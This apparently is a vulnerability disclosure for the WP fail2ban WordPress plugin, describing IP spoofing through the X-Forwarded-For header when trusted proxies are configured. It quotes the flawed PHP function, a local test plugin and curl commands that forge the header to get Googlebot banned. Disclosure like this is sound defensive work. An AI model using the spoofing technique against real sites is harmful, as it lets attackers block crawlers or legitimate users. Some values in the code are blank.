DOS through IP spoofing – (WP fail2ban <=

| in

Affected pluginWP fail2ban
Active installs70.000+
Vulnerable version<=
Audited version4.4.0.6
Fully patched version
Recommended remediationRemoval of the plugin


The plugin is vulnerable to IP spoofing if the user uses the trusted proxies functionality in the plugin. An attacker can exploit this by banning search engine crawlers, the site’s reverse proxy, or legitimate users at the fail2ban level.

Proof of concept

The plugin uses the “org\lecklider\charles\wordpress\wp_fail2ban\remote_addr” function everywhere it needs access to current client IP address.

function remote_addr(): ?string
    static $remote_addr = null;
     * @since 4.0.0
    if (is_null($remote_addr)) {
        if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) {
            $ip = ip2long($_SERVER['REMOTE_ADDR']);
            $proxies = [];
             * User-defined proxies, typically upstream nginx
            if (defined('WP_FAIL2BAN_PROXIES') && !empty(WP_FAIL2BAN_PROXIES)) {
                 * PHP 7 lets you define an array
                 * @since 3.5.4
                $proxies = (is_array(WP_FAIL2BAN_PROXIES))
                            ? WP_FAIL2BAN_PROXIES
                            : explode(',', WP_FAIL2BAN_PROXIES);
            $proxies = apply_filters(__METHOD__, $proxies);
            if (ip_in_range($ip, $proxies)) {
                return (false === ($len = strpos($_SERVER['HTTP_X_FORWARDED_FOR'], ',')))
                    ? $_SERVER['HTTP_X_FORWARDED_FOR']
                    : substr($_SERVER['HTTP_X_FORWARDED_FOR'], 0, $len);
         * For plugins and themes that anonymise requests
         * @since 3.6.0
        $remote_addr = (defined('WP_FAIL2BAN_REMOTE_ADDR'))
            : $_SERVER['REMOTE_ADDR'];
    return $remote_addr;

By default, this function will return the REMOTE_ADDR, which is a good thing as it can not be spoofed by an attacker.

However, as soon as a user of the plugin makes use of the “trusted proxies” functionality, this method will be vulnerable to IP spoofing as it starts reading the IP from the untrusted X-Forwarded-For header. (Lines 23-28 above)

To verify this, create the following must-use plugin on a local WordPress installation. It emulates the behaviour of a load balancer and hardcodes the IP addresses so that test results can be reproduced locally.


// wp-content/mu-plugins/ip.php

use function org\lecklider\charles\wordpress\wp_fail2ban\remote_addr;

 * This here simulates the default behaviour behind a load balancer or reverse proxy.
$load_balancer_ip = '';
$real_ip = '';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;

 * We trust our load balancer
define('WP_FAIL2BAN_PROXIES', [$load_balancer_ip]);

 * This is how a load balancer will create the header. Always appending to the right.
 * Not doing so would validate the HTTP spec.
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $real_ip;
}else {

if(!isset($_SERVER['HTTP_TEST_IP'])) {

add_action('plugins_loaded', function (){
    echo remote_addr();
    echo "\n";

Now, run the following curl commands:

curl -X GET https://site.test -H "TEST-IP: 1" # This IP is correct


curl -X GET https://site.test -H "TEST-IP: 1" -H "X-Forwarded-For:" # Spoofed IP

We just spoofed the IP address of Google-Bot, and the plugin will ban it using fail2ban, which will get the target site delisted in Google.

Proposed patch

This is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.


Vendor contactedSeptember 11, 2022
First Response
Fully patched at
Publicly disclosedApril 24, 2023


Leave a Reply

Your email address will not be published. Required fields are marked *